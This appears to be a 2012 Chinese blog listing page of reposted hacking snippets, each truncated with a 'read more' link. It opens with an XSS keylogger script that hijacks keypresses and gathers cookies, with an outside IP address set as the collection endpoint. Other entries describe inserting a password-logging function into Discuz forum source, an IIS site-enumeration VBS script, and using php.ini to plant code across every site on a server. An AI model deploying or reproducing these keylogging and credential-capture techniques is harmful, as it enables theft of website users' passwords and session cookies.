XSS键盘记录

作者：admin 发布于：2012-3-12 18:32 Monday 分类：网络转载

12Mar

var keys='';  //储存键盘鼠标记录
var hacker = 'http://218.6.132.15:8080/xss.php';
var Url = window.location;
var Domain = document.domain;
var Cookie = document.cookie;

document.onkeypress = function(e) {   //劫持键盘消息
get = window.event ? event:e;
key = get.keyCode ? get.keyCode : get.charCode;
switch(key){
case 32 : key = '[Space]';break;
case 13 : key = '[Enter]';break;
case 8  : key ...

阅读全文>>

标签: XSS

评论(0) 引用(293) 浏览(17810)

支持IE7/IE8的强制退出弹窗代码

作者：admin 发布于：2012-3-12 18:20 Monday 分类：网络转载

12Mar

支持 Windows XP SP2 xp sp3(即支持IE7/IE8)的超级弹退代码
使用说明：
1. 把SuperExitPopup.js这行 var popURL1 = ‘http://tv.cnzz.cc’; 里面的网址改成你要退弹的地址
2. 网页里面加上<SCRIPT language=javascript src=”SuperExitPopup.js”></SCRIPT>

JS源代码（SuperExitPopup.js）：

 以下是代码片段：
// Exit Begin
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = “dialogWidth:800px; dialogHeight:600px; dialogTop:0px; dialogLef...

阅读全文>>

标签: js

评论(0) 引用(28) 浏览(24882)

Discuz密码记录

作者：admin 发布于：2012-3-12 18:07 Monday 分类：网络转载

12Mar

DZ记录密码，我自己做了份代码。
include/common.inc.php 里面插一个自定义函数。
我选择放在 41-53行。dz7.1-72 include/login.func.php (49-51行) | dz7.0 是在根目录的logging.php

阅读全文>>

标签: Discuz

评论(0) 引用(65) 浏览(48289)

IIS Virtual Web Viewe.vbs

作者：admin 发布于：2012-3-12 18:05 Monday 分类：网络转载

12Mar

On Error Resume Next
WScript.Echo "*******************GetIISInfo msn:slls124@gmail.com*******************"
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
If IsNumeric(obj3w.Name) Then
Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
If Err <> 0 Then
WScript.Quit (1)...

阅读全文>>

评论(0) 引用(50) 浏览(21146)

利用PHP.ini挂马

作者：admin 发布于：2012-3-12 17:52 Monday 分类：网络转载

12Mar

  本来这两天研究PHPIDS，使用文件是：当要在防止页面攻击时，可在页面的头部include防攻击文件，就像通用防注入文件。我们可以用三种情况来办到：
1、在每个文件内引用。这样的文件是可以，不过如果一个网站内有几百个文件的话就不方便了。
2、在共同包含文件内引用一下，比如 config.inc.php。这是一个好办法，也是目前市场上比较流行的做法。
3、 在php.ini中引用。在配置文件内引用的话，将影响到所以的网站，包含所有页面，这就像当年流行的一些免费空间商，当你免费开通一个ftp空间，上传 网站以后，空间内会出现广告一样。不知道是不是这种方法，但是目的是一样的。这样做的好处是：如果是一个公司或者是一个企业内部网站的话，即安全，维护也 方便。

前两种方法大家都清楚，第三种就是在php.ini中，找到此节：

; Automatically add files be...

阅读全文>>

标签: php.ini

评论(0) 引用(54) 浏览(21587)